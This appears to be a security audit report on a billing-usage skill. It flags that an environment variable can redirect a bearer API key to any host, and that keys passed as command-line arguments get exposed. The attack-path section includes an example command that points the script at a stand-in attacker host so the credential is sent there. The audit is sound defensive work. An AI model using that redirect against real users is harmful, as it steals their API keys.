Back to skill

Security audit

Huo15 Yh Usage

Security checks for vulnerabilities and agentic risk

Overview

This skill performs the advertised billing lookup, but it handles live API keys in ways that need review before use.

Install only if you trust the publisher and the billing endpoint, and avoid using real long-lived keys on shared terminals or logged automation. Do not run it with YH_BASE set unless you fully trust that endpoint; prefer rotating any key used in an untrusted environment.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/usage.mjs:8
Finding

Bearer API Key Can Be Redirected to an Arbitrary Endpoint

Content
View full analysis
{ console.error('请求失败:', e.message); process.exit(2) }) ``` ### Technical Analysis The script must transmit the supplied API key to the declared billing service to perform its intended function. However, the request destination is not fixed to that service. The undocumented `YH_BASE` environment variable can replace the expected origin with an arbitrary URL. No URL scheme or hostname validation occurs before the API key is inserted into the `Authorization` header. Consequently, any party capable of influencing the script's environment can direct the bearer credential to an attacker-controlled HTTP or HTTPS server. Allowing plaintext HTTP also permits interception by a network attacker. This behavior exceeds the minimum privileges required by the declared functionality. Retrieving usage data only requires sending the credential to `https://fireworks-simulator-api.huo15.com/v1`; it does not require arbitrary destination support. ### Attack Path 1. An attacker influences the environment used to invoke the Skill, such as through a wrapper script, compromised automation configuration, inherited shell environment, or manipulated service configuration. 2. The attacker sets `YH_BASE` to a server under their control, for example: ```bash YH_BASE=https://attacker.example/v1 node scripts/usage.mjs fsk-secret 30 ``` 3. The script constructs the URL `https://attacker.example/v1/usage?days=30`. 4. It sends the user-supplied credential in the request: ```http Authorization: Bearer fsk-secret ``` 5. The atta ...[truncated 669 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/usage.mjs:10
Finding

API Key Is Exposed Through Command-Line Arguments

Content
View full analysis
!a.startsWith('--')) const key = rest[0] const days = Math.min(90, Math.max(1, parseInt(rest[1], 10) || 30)) ``` The documentation explicitly directs users to place the key on the command line: ```bash node scripts/usage.mjs [天数=30] [--usd] # 例:node scripts/usage.mjs fsk-xxxxxxxx 30 # node scripts/usage.mjs fsk-xxxxxxxx 30 --usd ``` It also provides a `curl` example containing the bearer key in an argument: ```bash curl -s "https://fireworks-simulator-api.huo15.com/v1/usage?days=30" -H "Authorization: Bearer " ``` ### Technical Analysis Command-line arguments are not an appropriate default transport for long-lived secrets. Depending on the operating system and execution environment, arguments may be exposed through: - Shell history files. - Process inspection facilities and monitoring tools. - CI/CD job logs. - Debugging and telemetry systems. - Command auditing services. - Wrapper scripts that record invoked commands. The script validates only that the supplied value starts with `fsk-`; it does not prevent the credential from being captured by these surrounding systems. Sending the key in the HTTPS authorization header is necessary for the declared service, but accepting it directly through `process.argv` creates avoidable local exposure. ### Attack Path 1. A user follows the documented command and enters a real API key: ```bash node scripts/usage.mjs fsk-real-secret 30 ``` 2. The command is stored in shell history, captured by process monitoring, or included in an automation log. 3. A local user, ...[truncated 882 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (9)

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 34)May include surrounding context.

md
node scripts/usage.mjs <fsk-...客户的key> [天数=30] [--usd]

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 35)May include surrounding context.

md
node scripts/usage.mjs <fsk-...客户的key> [天数=30] [--usd]

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 36)May include surrounding context.

md
node scripts/usage.mjs <fsk-...客户的key> [天数=30] [--usd]

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
95% confidence
Finding

The skill clearly instructs the operator to send a customer-supplied fsk-... API key to an external network endpoint and requires Node/network capability, but the manifest does not declare any explicit tool scope or permission boundaries. This creates a transparency and governance gap: the agent may handle secrets and make remote requests without clear least-privilege constraints or user-facing disclosure in the skill metadata.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

Several aliases are broad generic phrases like 费用统计, 用量统计, model usage, and token 账单, which can match ordinary user requests unrelated to this specific service. That increases the chance the agent invokes this skill unexpectedly and prompts for or uses an API key in contexts where the user did not intend to disclose secrets to this external service.

Content

No source excerpt is available for this finding.

Ssd 3

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The skill is designed to process a customer-provided API key and return usage and billing data derived from that account. Even if intended as a support/reporting workflow, this is sensitive account information, and handling it through chat plus remote API calls can expose financial metadata, model usage patterns, and account activity if the wrong key is supplied or logs are retained.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The instructions tell the operator to provide a customer API key to a remote usage endpoint, but they do not prominently warn that the secret will be transmitted off-platform to fireworks-simulator-api.huo15.com. Users may believe they are only sharing the key with the assistant, when in fact the skill forwards it to a third-party service, creating a meaningful secret-handling and consent risk.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The header comments and runtime messages indicate the tool outputs a Chinese report and Chinese-only usage/error text, with no opt-in or alternative locale. This imposes a specific language on users and matches the policy category for language or locale constraints without user choice.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The script sends a user-supplied fsk- API key directly to a remote host in the Authorization header, and the host can be overridden via YH_BASE. This creates a real credential-exfiltration risk because users are instructed to provide a live customer key, but the script provides no prominent trust warning, endpoint verification, or restriction preventing the key from being sent to an attacker-controlled server.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.